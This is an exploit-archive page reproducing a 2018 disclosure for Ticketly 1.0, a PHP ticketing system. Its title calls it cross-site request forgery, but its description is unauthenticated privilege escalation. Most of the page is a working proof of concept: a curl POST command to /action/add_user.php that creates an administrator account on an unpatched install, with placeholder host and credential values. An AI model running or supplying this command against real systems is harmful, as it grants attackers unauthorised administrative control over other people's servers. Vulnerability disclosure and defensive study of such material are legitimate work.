Ticketly 1.0 crosssite request forgery (add admin) Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2018-11-20 | Type : webapps | Platform : php
This exploit / vulnerability Ticketly 1.0 crosssite request forgery (add admin) is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: Ticketly 1.0 - Cross-Site Request Forgery (Add Admin)
# Exploit Author: Javier Olmedo
# Website: https://hackpuntes.com
# Date: 2018-11-19
# Google Dork: N/A
# Vendor: Abisoft (https://abisoftgt.net)
# Software Link: https://abisoftgt.net/software/6/sistema-de-tickets-y-soporte-con-php-y-mysql
# Affected Version: 1.0
# Patched Version: unpatched
# Category: Web Application
# Platform: Windows & Ubuntu
# Tested on: Win10x64 & Kali Linux
# CVE: N/A
# 4. References:
# https://hackpuntes.com/cve-2018-18922-ticketly-1-0-escalacion-de-privilegios-crear-cuenta-administrador/

# 1. Technical Description:
# Ticketly version 1.0 are affected by a privilege escalation vulnerability,
# an attacker could create an administrator user account by sending a POST
# request to the resource /action/add_user.php without authentication.

# 2. Proof Of Concept (PoC):
# Send request curl:
curl -i -s -k -X $'POST' \
-H $'Host: [HOST]' -H $'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H $'Content-Length: 82' \
--data-binary $'name=[NAME]&lastname=[LASTNAME]&email=[EMAIL]&status=1&password=[PASS]' \
$'http://[PATH]/action/add_user.php'